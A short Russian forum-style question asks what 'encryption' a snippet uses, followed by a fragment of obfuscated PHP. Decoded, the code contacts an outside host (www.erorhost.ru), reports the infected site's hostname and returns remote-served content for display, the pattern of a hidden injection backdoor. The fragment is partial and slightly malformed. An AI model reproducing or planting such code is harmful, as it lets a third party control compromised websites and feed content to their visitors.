Чем зашифрован этот код?

\074/a>"; $x0c = @ $x17("\x77\x77\167\056\145ror\150\157\x73t. \x72u" , 80, $x0d, $x0e, 30); if($x0c){ $x0f = "\107\105T\057\163\x61\151\x74\x2f\x69\1441\056\x70\150\x70\077\x73\x69t\x65=". $_SERVER ['HTTP_HOST']." HT\x54\120\x2f1.1\n"; $x0f .="\x48\x6f\163\x74\072\040\x77\167\x77.\x65\162o\x72ho\x73\164\056\162\x75\n"; $x0f.=' Accept: text/html, text/plain, text/sqml, */*; q=0.01 Accept-Encoding: gzip, compress Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1; q=0.01, us-ascii; q=0.01';
$x0f .= "\n\n"; $x18($x0c, $x0f); $x10 = false;while (! $x15($x0c)) {$x11=$x16($x0c,128); if ($x10) {$x12.= $x11;} else {$x13 .= $x11;}if ($x11 == "\r\n" ) {$x10 = true;}}$x14($x0c);}else return $x0b; if ($x19()$x13, '404')) return $x0b;else return $x12; ?>